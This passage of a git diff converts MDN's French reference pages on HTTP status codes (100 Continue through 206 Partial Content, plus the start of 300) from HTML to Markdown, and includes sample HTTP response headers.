2010 14:30:24 GMT + Location: https://developer.mozilla.org/ (this is the new link to the resource; it is expected that the user-agent will fetch it) + Keep-Alive: timeout=15, max=98 + Accept-Ranges: bytes + Via: Moz-Cache-zlb05 + Connection: Keep-Alive + X-Cache-Info: caching + X-Cache-Info: caching + Content-Length: 325 (the content contains a default page to display if the user-agent is not able to follow the link) -<pre>HTTP/1.1 <strong>301 Moved Permanently</strong> -Server: Apache/2.2.3 (Red Hat) -Content-Type: text/html; charset=iso-8859-1 -Date: Sat, 09 Oct 2010 14:30:24 GMT -Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(this is the</em><em> new link to the resource; it is expected that the user-agent will fetch it)</em></strong> -Keep-Alive: timeout=15, max=98 -Accept-Ranges: bytes -Via: Moz-Cache-zlb05 -Connection: Keep-Alive -X-Cache-Info: caching -X-Cache-Info: caching -Content-Length: 325 <em>(<strong>the content contains a default page to display if the user-agent is not able to follow the link)</strong></em> + <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> + <html><head> + <title>301 Moved Permanently</title> + </head><body> + <h1>Moved Permanently</h1> + <p>The document has moved <a href="https://developer.mozilla.org/">here</a>.</p> + <hr> + <address>Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80</address> + </body></html> -<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> -<html><head> -<title>301 Moved Permanently</title> -</head><body> -<h1>Moved Permanently</h1> -<p>The document has moved <a href="<a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a>">here</a>.</p> -<hr> -<address>Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80</address> -</body></html> +Notification selon laquelle la ressource demandée n'existe pas : -</pre> + HTTP/1.1 404 Not Found + Date: Sat, 09 Oct 2010 14:33:02 GMT + Server: Apache + Last-Modified: Tue, 01 May 2007 14:24:39 GMT + ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1" + Accept-Ranges: bytes + Content-Length: 10732 + Content-Type: text/html -<p>Notification selon laquelle la ressource demandée n'existe pas :</p> + <!DOCTYPE html... (contains a site-customized page helping the user to find the missing resource) -<pre>HTTP/1.1 <strong>404 Not Found</strong> -Date: Sat, 09 Oct 2010 14:33:02 GMT -Server: Apache -Last-Modified: Tue, 01 May 2007 14:24:39 GMT -ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1" -Accept-Ranges: bytes -Content-Length: 10732 -Content-Type: text/html +### Codes d'état de réponse -<!DOCTYPE html... <strong><em>(contains a site-customized page helping the user to find the missing resource)</em></strong> +[Les codes d'état de réponse HTTP](/fr/docs/Web/HTTP/Status) indiquent si une requête HTTP spécifique a été effectuée avec succès. Les réponses sont regroupées en cinq classes: réponses d'information, réponses réussies, redirections, erreurs de client et erreurs de serveurs. -</pre> +- {{HTTPStatus(200)}}: OK. La demande a réussi. +- {{HTTPStatus(301)}}: Moved Permanently. Ce code de réponse signifie que l'URL de la ressource demandée a été modifiée. +- {{HTTPStatus(404)}}: Not Found. Le serveur ne peut pas trouver la ressource demandée. -<h3 id="Codes_d'état_de_réponse">Codes d'état de réponse</h3> +## Voir aussi -<p><a href="/fr/docs/Web/HTTP/Status">Les codes d'état de réponse HTTP</a> indiquent si une requête HTTP spécifique a été effectuée avec succès. Les réponses sont regroupées en cinq classes: réponses d'information, réponses réussies, redirections, erreurs de client et erreurs de serveurs.</p> - -<ul> - <li>{{HTTPStatus(200)}}: OK. La demande a réussi.</li> - <li>{{HTTPStatus(301)}}: Moved Permanently. Ce code de réponse signifie que l'URL de la ressource demandée a été modifiée.</li> - <li>{{HTTPStatus(404)}}: Not Found. Le serveur ne peut pas trouver la ressource demandée.</li> -</ul> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a> (en anglais)</li> - <li><a href="/fr/docs/Web/HTTP/Headers">En-têtes HTTP</a></li> - <li><a href="/fr/docs/HTTP/Méthode">Méthode de requête HTTP</a></li> - <li><a href="/fr/docs/Web/HTTP/Status">Codes de réponse HTTP</a></li> -</ul> +- [Identifying resources on the Web](/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web) (en anglais) +- [En-têtes HTTP](/fr/docs/Web/HTTP/Headers) +- [Méthode de requête HTTP](/fr/docs/HTTP/Méthode) +- [Codes de réponse HTTP](/fr/docs/Web/HTTP/Status) diff --git a/files/fr/web/http/status/100/index.md b/files/fr/web/http/status/100/index.md index 5753540189..d3595c6d76 100644 --- a/files/fr/web/http/status/100/index.md +++ b/files/fr/web/http/status/100/index.md @@ -7,38 +7,27 @@ tags: - Informational translation_of: Web/HTTP/Status/100 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <strong><code>100 Continue</code></strong> indique que, jusqu'à présent, tout est normal (OK) et que le client doit poursuivre avec la requête ou l'ignorer si celle-ci est déjà finie.</p> +Le code de statut de réponse HTTP **`100 Continue`** indique que, jusqu'à présent, tout est normal (OK) et que le client doit poursuivre avec la requête ou l'ignorer si celle-ci est déjà finie. -<p>Afin que le serveur vérifie les en-têtes des requêtes, un client doit envoyer {{HTTPHeader("Expect")}} : <code>100-continue</code> comme en-tête dans la requête initiale et recevoir le code de statut <code>100 Continue</code> comme réponse avant d'envoyer le corps de la requête.</p> +Afin que le serveur vérifie les en-têtes des requêtes, un client doit envoyer {{HTTPHeader("Expect")}} : `100-continue` comme en-tête dans la requête initiale et recevoir le code de statut `100 Continue` comme réponse avant d'envoyer le corps de la requête. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">100 Continue</pre> + 100 Continue -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "100 Continue" , "6.2.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "100")}}</p> +{{Compat("http/status", "100")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Expect")}}</li> - <li>{{HTTPStatus(417)}}</li> -</ul> +- {{HTTPHeader("Expect")}} +- {{HTTPStatus(417)}} diff --git a/files/fr/web/http/status/101/index.md b/files/fr/web/http/status/101/index.md index 7f8aa0307e..4f74b22e22 100644 --- a/files/fr/web/http/status/101/index.md +++ b/files/fr/web/http/status/101/index.md @@ -9,43 +9,32 @@ tags: - WebSockets translation_of: Web/HTTP/Status/101 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse HTTP <code><strong>101 Switching Protocol</strong></code> indique que le protocole a changé, comme demandé par le client via l'en-tête {{HTTPHeader("Upgrade")}}.</p> +Le code de réponse HTTP **`101 Switching Protocol`** indique que le protocole a changé, comme demandé par le client via l'en-tête {{HTTPHeader("Upgrade")}}. -<p>Le serveur envoie alors une réponse avec un en-tête {{HTTPHeader("Upgrade")}} qui indique le nouveau protocole utilisé.</p> +Le serveur envoie alors une réponse avec un en-tête {{HTTPHeader("Upgrade")}} qui indique le nouveau protocole utilisé. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">101 Switching Protocol</pre> + 101 Switching Protocol -<h2 id="Exemples">Exemples</h2> +## Exemples -<p>Les changements de protocole peuvent être utilisés avec <a href="/fr/docs/WebSockets">WebSockets</a>.</p> +Les changements de protocole peuvent être utilisés avec [WebSockets](/fr/docs/WebSockets). -<pre>HTTP/1.1 101 Switching Protocols -Upgrade: websocket -Connection: Upgrade</pre> + HTTP/1.1 101 Switching Protocols + Upgrade: websocket + Connection: Upgrade -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "101 Switching Protocol" , "6.2.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/WebSockets">WebSockets</a></li> - <li>{{HTTPHeader("Upgrade")}}</li> - <li>{{HTTPStatus("426")}}<code> Upgrade Required</code></li> -</ul> +- [WebSockets](/fr/docs/WebSockets) +- {{HTTPHeader("Upgrade")}} +- {{HTTPStatus("426")}}` Upgrade Required` diff --git a/files/fr/web/http/status/103/index.md b/files/fr/web/http/status/103/index.md index a3ae54084a..d57141b1fa 100644 --- a/files/fr/web/http/status/103/index.md +++ b/files/fr/web/http/status/103/index.md @@ -7,41 +7,24 @@ tags: - Statut translation_of: Web/HTTP/Status/103 --- -<p>{{HTTPSidebar}}{{Draft}}</p> +{{HTTPSidebar}}{{Draft}} -<p>Le code de statut de réponse <strong><code>103 Early Hints</code></strong> est principalement utilisé avec l'en-tête HTTP {{HTTPHeader("Link")}} afin de permettre à l'application cliente de commencer le chargement des ressources tandis que le serveur prépare une réponse.</p> +Le code de statut de réponse **`103 Early Hints`** est principalement utilisé avec l'en-tête HTTP {{HTTPHeader("Link")}} afin de permettre à l'application cliente de commencer le chargement des ressources tandis que le serveur prépare une réponse. -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">103 Early Hints</pre> + 103 Early Hints -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">État</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC(8297, "103 Early Hints")}}</td> - <td>IETF RFC</td> - <td>Première version</td> - </tr> - </tbody> -</table> +| Spécification | État | Commentaire | +| -------------------------------------------- | -------- | ---------------- | +| {{RFC(8297, "103 Early Hints")}} | IETF RFC | Première version | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs +{{Compat("http.status.103")}} +## Voir aussi -<p>{{Compat("http.status.103")}}</p> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li>{{HTTPHeader("Link")}}</li> -</ul> +- {{HTTPHeader("Link")}} diff --git a/files/fr/web/http/status/200/index.md b/files/fr/web/http/status/200/index.md index d9b45d22af..96c4534539 100644 --- a/files/fr/web/http/status/200/index.md +++ b/files/fr/web/http/status/200/index.md @@ -6,46 +6,33 @@ tags: - HTTP translation_of: Web/HTTP/Status/200 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <strong><code>200 OK</code></strong> indique la réussite d'une requête. Une réponse 200 peut être mise en cache par défaut.</p> +Le code de statut de réponse HTTP **`200 OK`** indique la réussite d'une requête. Une réponse 200 peut être mise en cache par défaut. -<p>La signification de la réussite dépend de la méthode de requête HTTP :</p> +La signification de la réussite dépend de la méthode de requête HTTP : -<ul> - <li>{{HTTPMethod("GET")}} : la ressource a été récupérée et est transmise dans le corps du message.</li> - <li>{{HTTPMethod("HEAD")}} : l'en-tête entier est dans le corps du message.</li> - <li>{{HTTPMethod("POST")}} : la ressource qui décrit le résultat d'une action est transmise dans le corps du message.</li> - <li>{{HTTPMethod("TRACE")}} : le corps du message contient le message de requête reçu par le serveur.</li> -</ul> +- {{HTTPMethod("GET")}} : la ressource a été récupérée et est transmise dans le corps du message. +- {{HTTPMethod("HEAD")}} : l'en-tête entier est dans le corps du message. +- {{HTTPMethod("POST")}} : la ressource qui décrit le résultat d'une action est transmise dans le corps du message. +- {{HTTPMethod("TRACE")}} : le corps du message contient le message de requête reçu par le serveur. -<p>La plupart du temps, le résultat d'une requête réussie avec la méthode {{HTTPMethod("PUT")}} ou {{HTTPMethod("DELETE")}} n'est pas <code>200</code> <code>OK</code> mais plutôt {{HTTPStatus("204")}} <code>No Content</code> (ou {{HTTPStatus("201")}} <code>Created</code> lorsque la ressource est envoyée pour la première fois).</p> +La plupart du temps, le résultat d'une requête réussie avec la méthode {{HTTPMethod("PUT")}} ou {{HTTPMethod("DELETE")}} n'est pas `200` `OK` mais plutôt {{HTTPStatus("204")}} `No Content` (ou {{HTTPStatus("201")}} `Created` lorsque la ressource est envoyée pour la première fois). -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">200 OK</pre> + 200 OK -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("7231", "200 OK" , "6.3.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "200")}}</p> +{{Compat("http/status", "200")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/Methods">Les verbes utilisés pour les méthodes HTTP</a></li> -</ul> +- [Les verbes utilisés pour les méthodes HTTP](/fr/docs/Web/HTTP/Methods) diff --git a/files/fr/web/http/status/201/index.md b/files/fr/web/http/status/201/index.md index 7e4dab93f9..b8aa6939a4 100644 --- a/files/fr/web/http/status/201/index.md +++ b/files/fr/web/http/status/201/index.md @@ -1,29 +1,29 @@ --- title: 201 Created slug: Web/HTTP/Status/201 -browser-compat: http.status.201 translation_of: Web/HTTP/Status/201 +browser-compat: http.status.201 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut HTTP <strong><code>201 Created</code></strong> indique que la requête a réussi et qu'une ressource a été créée en conséquence. La nouvelle ressource est effectivement créée avant que la réponse soit renvoyée et cette nouvelle ressource est renvoyée dans le corps du message. Son emplacement est indiqué par l'URL de la requête ou le contenu de l'en-tête <a href="/fr/docs/Web/HTTP/Headers/Location"><code>Location</code></a>.</p> +Le code de statut HTTP **`201 Created`** indique que la requête a réussi et qu'une ressource a été créée en conséquence. La nouvelle ressource est effectivement créée avant que la réponse soit renvoyée et cette nouvelle ressource est renvoyée dans le corps du message. Son emplacement est indiqué par l'URL de la requête ou le contenu de l'en-tête [`Location`](/fr/docs/Web/HTTP/Headers/Location). -<p>Ce code de statut est généralement obtenu comme résultat suite à une requête utilisant la méthode <a href="/fr/docs/Web/HTTP/Methods/POST"><code>POST</code></a>.</p> +Ce code de statut est généralement obtenu comme résultat suite à une requête utilisant la méthode [`POST`](/fr/docs/Web/HTTP/Methods/POST). -<h2 id="status">Statut</h2> +## Statut -<pre class="brush: html">201 Created</pre> +```html +201 Created +``` -<h2 id="specifications">Spécifications</h2> +## Spécifications -<p>{{Specifications}}</p> +{{Specifications}} -<h2 id="browser_compatibility">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat}}</p> +{{Compat}} -<h2 id="see_also">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/Methods">Les différentes méthodes pour les requêtes HTTP</a></li> -</ul> +- [Les différentes méthodes pour les requêtes HTTP](/fr/docs/Web/HTTP/Methods) diff --git a/files/fr/web/http/status/202/index.md b/files/fr/web/http/status/202/index.md index 199daa9a97..cc2577e1fe 100644 --- a/files/fr/web/http/status/202/index.md +++ b/files/fr/web/http/status/202/index.md @@ -7,31 +7,20 @@ tags: - Reference translation_of: Web/HTTP/Status/202 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <code><strong>202</strong></code><strong><code> Accepted</code></strong> indique que la requête a été reçue mais qu'aucune action n'a encore été entreprise. Cette réponse est sans suite (<em>non-committal</em>) : HTTP ne renverra pas de réponse asynchrone ultérieure pour indiquer le résultat du traitement de la requête. Ce code est utile pour les cas où c'est un autre processus ou serveur qui gère la requête (ou lorsqu'on effectue un traitement en masse).</p> +Le code de statut de réponse HTTP **`202`\*\***` Accepted`\** indique que la requête a été reçue mais qu'aucune action n'a encore été entreprise. Cette réponse est sans suite (*non-committal\*) : HTTP ne renverra pas de réponse asynchrone ultérieure pour indiquer le résultat du traitement de la requête. Ce code est utile pour les cas où c'est un autre processus ou serveur qui gère la requête (ou lorsqu'on effectue un traitement en masse). -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">202 Accepted</pre> + 202 Accepted -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "202 Accepted" , "6.3.3")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "202 Accepted" , "6.3.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Accept")}}</li> -</ul> +- {{HTTPHeader("Accept")}} diff --git a/files/fr/web/http/status/203/index.md b/files/fr/web/http/status/203/index.md index 0daa15e15f..f6aa5bbd75 100644 --- a/files/fr/web/http/status/203/index.md +++ b/files/fr/web/http/status/203/index.md @@ -7,35 +7,24 @@ tags: - Reference translation_of: Web/HTTP/Status/203 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <strong><code>203 Non-Authoritative Information</code></strong> indique que la requête a réussi mais que le contenu a été modifié entre la réponse {{HTTPStatus("200")}} (<code>OK</code>) du serveur original par un {{Glossary("Proxy server", "proxy")}} transformant.</p> +Le code de statut de réponse HTTP **`203 Non-Authoritative Information`** indique que la requête a réussi mais que le contenu a été modifié entre la réponse {{HTTPStatus("200")}} (`OK`) du serveur original par un {{Glossary("Proxy server", "proxy")}} transformant. -<p>La réponse 203 est similaire au code d'en-tête <a href="/fr/docs/Web/HTTP/Headers/Warning#Warning_codes"><code>214</code> (Transformation Applied)</a> {{HTTPHeader("Warning")}}, qui a l'avantage d'être applicable à tout code de statut.</p> +La réponse 203 est similaire au code d'en-tête [`214` (Transformation Applied)](/fr/docs/Web/HTTP/Headers/Warning#Warning_codes) {{HTTPHeader("Warning")}}, qui a l'avantage d'être applicable à tout code de statut. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">203 Non-Authoritative Information</pre> + 203 Non-Authoritative Information -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus("200")}}</li> - <li>{{Glossary("Proxy server")}}</li> - <li>{{HTTPHeader("Warning")}}</li> -</ul> +- {{HTTPStatus("200")}} +- {{Glossary("Proxy server")}} +- {{HTTPHeader("Warning")}} diff --git a/files/fr/web/http/status/204/index.md b/files/fr/web/http/status/204/index.md index 22517a0fae..5113b4150b 100644 --- a/files/fr/web/http/status/204/index.md +++ b/files/fr/web/http/status/204/index.md @@ -6,37 +6,26 @@ tags: - HTTP translation_of: Web/HTTP/Status/204 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <strong><code>204 No Content</code></strong> indique que la requête a réussi mais que le client n'a pas besoin de quitter la page actuelle. Par défaut, une réponse 204 peut être mise en cache. Un en-tête {{HTTPHeader("ETag")}} est inclus pour ce type de réponse.</p> +Le code de statut de réponse HTTP **`204 No Content`** indique que la requête a réussi mais que le client n'a pas besoin de quitter la page actuelle. Par défaut, une réponse 204 peut être mise en cache. Un en-tête {{HTTPHeader("ETag")}} est inclus pour ce type de réponse. -<p>Généralement, ce code est renvoyé lorsque le résultat d'une requête {{HTTPMethod("PUT")}} et qu'une ressource est mise à jour, sans modifier le contenu actuel de la page affichée à l'utilisateur. Si la ressource est créée, c'est le code de statut {{HTTPStatus("201")}} <code>Created</code> qui sera renvoyé à la place. Si la page doit être actualisée avec une nouvelle page mise à jour, c'est le code de statut {{HTTPStatus("200")}} qui doit être utilisé à la place.</p> +Généralement, ce code est renvoyé lorsque le résultat d'une requête {{HTTPMethod("PUT")}} et qu'une ressource est mise à jour, sans modifier le contenu actuel de la page affichée à l'utilisateur. Si la ressource est créée, c'est le code de statut {{HTTPStatus("201")}} `Created` qui sera renvoyé à la place. Si la page doit être actualisée avec une nouvelle page mise à jour, c'est le code de statut {{HTTPStatus("200")}} qui doit être utilisé à la place. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">204 No Content</pre> + 204 No Content -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "204 No Content" , "6.3.5")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "204 No Content" , "6.3.5")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "204")}}</p> +{{Compat("http/status", "204")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/Methods">Les verbes utilisés pour les méthodes HTTP</a></li> -</ul> +- [Les verbes utilisés pour les méthodes HTTP](/fr/docs/Web/HTTP/Methods) diff --git a/files/fr/web/http/status/205/index.md b/files/fr/web/http/status/205/index.md index d85c53b4a5..1fe5bfcf90 100644 --- a/files/fr/web/http/status/205/index.md +++ b/files/fr/web/http/status/205/index.md @@ -7,31 +7,20 @@ tags: - Reference translation_of: Web/HTTP/Status/205 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <strong><code>205 Reset Content</code></strong> indique au client de réinitialiser la vue du document, par exemple afin de nettoyer le contenu d'un formulaire, réinitialiser l'état d'un canevas ({{HTMLElement("canvas")}}, ou pour mettre à jour l'interface utilisateur.</p> +Le code de statut de réponse HTTP **`205 Reset Content`** indique au client de réinitialiser la vue du document, par exemple afin de nettoyer le contenu d'un formulaire, réinitialiser l'état d'un canevas ({{HTMLElement("canvas")}}, ou pour mettre à jour l'interface utilisateur. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">205 Reset Content</pre> + 205 Reset Content -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("7231", "205 Reset Content" , "6.3.6")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus(204)}} No Content</li> -</ul> +- {{HTTPStatus(204)}} No Content diff --git a/files/fr/web/http/status/206/index.md b/files/fr/web/http/status/206/index.md index 1d975a9ed9..6facdb7351 100644 --- a/files/fr/web/http/status/206/index.md +++ b/files/fr/web/http/status/206/index.md @@ -6,75 +6,64 @@ tags: - HTTP translation_of: Web/HTTP/Status/206 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse succès HTTP <strong><code>206 Partial Content</code></strong> indique que la requête a bien abouti et que le corps de la réponse contient les plages de données demandées, tel que décrit dans l'en-tête {{HTTPHeader("Range")}} de la requête.</p> +Le code de statut de réponse succès HTTP **`206 Partial Content`** indique que la requête a bien abouti et que le corps de la réponse contient les plages de données demandées, tel que décrit dans l'en-tête {{HTTPHeader("Range")}} de la requête. -<p>S'il n'y a qu'une seule plage, l'entête {{HTTPHeader("Content-Type")}} de la réponse correspondra au type du document et l'en-tête {{HTTPHeader("Content-Range")}} sera fourni.</p> +S'il n'y a qu'une seule plage, l'entête {{HTTPHeader("Content-Type")}} de la réponse correspondra au type du document et l'en-tête {{HTTPHeader("Content-Range")}} sera fourni. -<p>Si plusieurs plages sont renvoyées, l'en-tête {{HTTPHeader("Content-Type")}} vaudra <code>multipart/byteranges</code> et chaque fragment couvrira une plage, décrite par les en-têtes {{HTTPHeader("Content-Range")}} et {{HTTPHeader("Content-Type")}}.</p> +Si plusieurs plages sont renvoyées, l'en-tête {{HTTPHeader("Content-Type")}} vaudra `multipart/byteranges` et chaque fragment couvrira une plage, décrite par les en-têtes {{HTTPHeader("Content-Range")}} et {{HTTPHeader("Content-Type")}}. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">206 Partial Content</pre> + 206 Partial Content -<h2 id="Exemples">Exemples</h2> +## Exemples -<p>Une réponse qui contient une seule plage :</p> +Une réponse qui contient une seule plage : -<pre>HTTP/1.1 206 Partial Content -Date: Wed, 15 Nov 2015 06:25:24 GMT -Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT -Content-Range: bytes 21010-47021/47022 -Content-Length: 26012 -Content-Type: image/gif + HTTP/1.1 206 Partial Content + Date: Wed, 15 Nov 2015 06:25:24 GMT + Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT + Content-Range: bytes 21010-47021/47022 + Content-Length: 26012 + Content-Type: image/gif -... 26012 bytes of partial image data ...</pre> + ... 26012 bytes of partial image data ... -<p>Une réponse qui contient plusieurs plages :</p> +Une réponse qui contient plusieurs plages : -<pre>HTTP/1.1 206 Partial Content -Date: Wed, 15 Nov 2015 06:25:24 GMT -Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT -Content-Length: 1741 -Content-Type: multipart/byteranges; boundary=String_separator + HTTP/1.1 206 Partial Content + Date: Wed, 15 Nov 2015 06:25:24 GMT + Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT + Content-Length: 1741 + Content-Type: multipart/byteranges; boundary=String_separator ---String_separator -Content-Type: application/pdf -Content-Range: bytes 234-639/8000 + --String_separator + Content-Type: application/pdf + Content-Range: bytes 234-639/8000 -...la première plage... ---String_separator -Content-Type: application/pdf -Content-Range: bytes 4590-7999/8000 + ...la première plage... + --String_separator + Content-Type: application/pdf + Content-Range: bytes 4590-7999/8000 -...La seconde plage ---String_separator--</pre> + ...La seconde plage + --String_separator-- -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7233", "206 Partial Content" , "4.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------------------ | ------------------------------------------------------ | +| {{RFC("7233", "206 Partial Content" , "4.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Range Requests | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "206")}}</p> +{{Compat("http/status", "206")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("If-Range")}}</li> - <li>{{HTTPHeader("Range")}}</li> - <li>{{HTTPHeader("Content-Range")}}</li> - <li>{{HTTPHeader("Content-Type")}}</li> -</ul> +- {{HTTPHeader("If-Range")}} +- {{HTTPHeader("Range")}} +- {{HTTPHeader("Content-Range")}} +- {{HTTPHeader("Content-Type")}} diff --git a/files/fr/web/http/status/300/index.md b/files/fr/web/http/status/300/index.md index 3bdd91ec34..d1b5686641 100644 --- a/files/fr/web/http/status/300/index.md +++ b/files/fr/web/http/status/300/index.md @@ -7,39 +7,28 @@ tags: - Reference translation_of: Web/HTTP/Status/300 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse <code><strong>300 Multiple Choices</strong></code> indique qu'il existe plusieurs réponses possibles pour la requête. L'agent utilisateur ou l'utilisateur doit alors choisir l'une d'elles. Il n'y a pas de méthode standard pour choisir une des réponses disponibles et ce code de réponse est donc 